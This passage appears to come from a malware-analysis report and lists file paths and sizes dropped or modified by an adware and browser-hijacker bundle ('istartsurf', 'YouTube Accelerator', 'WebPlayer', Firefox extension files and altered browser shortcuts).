    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp (33428 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\118da1f976d76e498cb7b97066dd3d92[1].htm (25989 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.1 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.0 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.3 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.2 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.5 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.4 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.7 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_istartsurf.exe.6 (6872 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\ajax-bidl[1].htm (202 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe (71289 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[1].png (1676 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\B338.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoDF19.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000e.TMP (11493 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001a.TMP (13284 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\blank.html (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000d.TMP (7861 bytes)
    C:\Users\"%CurrentUserName%"\Desktop\YouTube Accelerator.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VADEU.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0006.TMP (115350 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe (14357 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0019.TMP (11019 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAuninstall.mht (9 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0011.TMP (34 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH001f.TMP (2461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAIDN.LNG (17 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLMD193.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0001.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe (19739 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe (27818 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0004.TMP (16 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0009.TMP (2104 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll (3048 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0016.TMP (6341 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0003.TMP (119 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0010.TMP (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\OK.gif (329 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0008.TMP (2784 bytes)
    %Program Files% (x86)\YouTube Accelerator\cabex.dll (98 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000c.TMP (941 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0002.TMP (2104 bytes)
    %Program Files% (x86)\YouTube Accelerator\temp.000 (51331 bytes)
    %Program Files% (x86)\YouTube Accelerator\res\~GLH0014.TMP (75 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe (49 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLKCF80.tmp (1604 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe (30222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPOL.LNG (1166 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VASRB.LNG (1184 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll (3271 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe (35420 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFRA.LNG (402 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll (6691 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000f.TMP (329 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLFD59C.tmp (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0007.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe (20746 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll (34861 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll (7687 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000a.TMP (18940 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe (3528 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe (20848 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAITA.LNG (1660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0005.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLGD58B.tmp (93076 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VADEU.LNG (18 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0012.TMP (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll (4155 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page2.mht (1961 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAESM.LNG (873 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAIDN.LNG (17 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH0015.TMP (4061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~GLH0000.TMP (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLCCD5C.tmp (3791 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx (3175 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\varemove_page1.mht (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Cancel.gif (610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAJPN.LNG (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VANLD.LNG (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe (2082 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\YouTube Accelerator.lnk (1 bytes)
    %Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe (146 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLJCD7C.tmp (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VATRK.LNG (18 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFAR.LNG (15 bytes)
    C:\Windows\SysWOW64\temp.000 (3624 bytes)
    %Program Files% (x86)\YouTube Accelerator\~GLH000b.TMP (11493 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\YouTube Accelerator\~GLH0021.TMP (65 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAROM.LNG (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAFIL.LNG (351 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\comtest.gif (1817 bytes)
    %Program Files% (x86)\YouTube Accelerator\INSTALL.LOG (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAENG.LNG (8 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\LocalesU\VAFAR.LNG (15 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\LocalesU\VAPTB.LNG (401 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\progbar.gif (238 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\~GLH0020.TMP (1568 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe (10592 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLBCD0E.tmp (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2BE0.tmp (113 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\misc.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\restoreprefs.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\defaults\preferences\preferences.js (379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\stat.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\simple.css (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\icon.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\js.js (660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\addonmanager.js (531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\quick_start.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\newtab.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\googlelogo.png (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C20.tmp (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\vi\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\loading.gif (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\misc.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\en\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\style.css (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\it\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
    C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\common.js (10 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\2C10.tmp (113 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\index.html (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\speed_dial.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\tr\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\properties.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\last_tab.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\es\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\google_trends.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\en-US\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome.manifest (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\pl\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\modules\aes.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\ru\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\search.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\js\pack\ga.js (1552 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\skin\default_logo.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\fr\locale.properties (2 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\1429064928_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
